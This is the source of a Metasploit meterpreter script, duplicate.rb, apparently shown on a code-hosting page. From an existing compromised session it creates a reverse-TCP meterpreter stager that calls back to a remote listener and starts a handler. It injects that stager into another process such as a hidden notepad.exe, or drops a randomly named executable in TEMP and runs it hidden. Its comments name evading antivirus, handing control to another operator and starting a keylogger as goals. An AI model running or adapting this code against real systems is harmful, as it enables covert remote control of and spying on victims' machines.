Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/duplicate.rb
Views: 11766
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567# Author: Scriptjunkie8# Uses a meterpreter session to spawn a new meterpreter session in a different process.9# A new process allows the session to take "risky" actions that might get the process killed by10# A/V, giving a meterpreter session to another controller, or start a keylogger on another11# process.12#1314#15# Options16#17opts = Rex::Parser::Arguments.new(18"-h" => [ false, "This help menu"],19"-r" => [ true, "The IP of a remote Metasploit listening for the connect back"],20"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"],21"-w" => [ false, "Write and execute an exe instead of injecting into a process"],22"-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."],23"-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."],24"-s" => [ false, "Spawn new executable to inject to. Only useful with -P."],25"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"]26)2728#29# Default parameters30#3132rhost = Rex::Socket.source_address("1.2.3.4")33rport = 454634lhost = "127.0.0.1"3536spawn = false37autoconn = true38inject = true39target_pid = nil40target = "notepad.exe"41pay = nil4243#44# Option parsing45#46opts.parse(args) do |opt, idx, val|47case opt48when "-h"49print_line(opts.usage)50raise Rex::Script::Completed51when "-r"52rhost = val53when "-p"54rport = val.to_i55when "-P"56target_pid = val.to_i57when "-e"58target = val59when "-D"60autoconn = false61when "-w"62inject = false63when "-s"64spawn = true65end66end6768print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}")6970payload = "windows/meterpreter/reverse_tcp"71pay = client.framework.payloads.create(payload)72pay.datastore['LHOST'] = rhost73pay.datastore['LPORT'] = rport74mul = client.framework.exploits.create("multi/handler")75mul.share_datastore(pay.datastore)76mul.datastore['WORKSPACE'] = client.workspace77mul.datastore['PAYLOAD'] = payload78mul.datastore['EXITFUNC'] = 'process'79mul.datastore['ExitOnSession'] = true80print_status("Running payload handler")81mul.exploit_simple(82'Payload' => mul.datastore['PAYLOAD'],83'RunAsJob' => true84)8586if client.platform == 'windows'87server = client.sys.process.open8889print_status("Current server process: #{server.name} (#{server.pid})")9091if ! inject92exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw)93print_status("Meterpreter stager executable #{exe.length} bytes long")9495#96# Upload to the filesystem97#98tempdir = client.sys.config.getenv('TEMP')99tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"100tempexe.gsub!("\\\\", "\\")101102fd = client.fs.file.new(tempexe, "wb")103fd.write(exe)104fd.close105print_status("Uploaded the agent to #{tempexe} (must be deleted manually)")106107#108# Execute the agent109#110print_status("Executing the agent with endpoint #{rhost}:#{rport}...")111pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true})112elsif ! spawn113# Get the target process name114print_status("Duplicating into #{target}...")115116# Get the target process pid117if not target_pid118target_pid = client.sys.process[target]119end120121if not target_pid122print_error("Could not access the target process")123print_status("Spawning a notepad.exe host process...")124note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })125target_pid = note.pid126end127else128print_status("Spawning a #{target} host process...")129newproc = client.sys.process.execute(target, nil, {'Hidden' => true })130target_pid = newproc.pid131if not target_pid132print_error("Could not create a process around #{target}")133raise Rex::Script::Completed134end135end136137# Do the duplication138print_status("Injecting meterpreter into process ID #{target_pid}")139host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)140raw = pay.generate141mem = host_process.memory.allocate(raw.length + (raw.length % 1024))142143print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")144print_status("Writing the stager into memory...")145host_process.memory.write(mem, raw)146host_process.thread.create(mem, 0)147print_status("New server process: #{target_pid}")148149else150print_error("This version of Meterpreter is not supported with this Script!")151raise Rex::Script::Completed152end153154155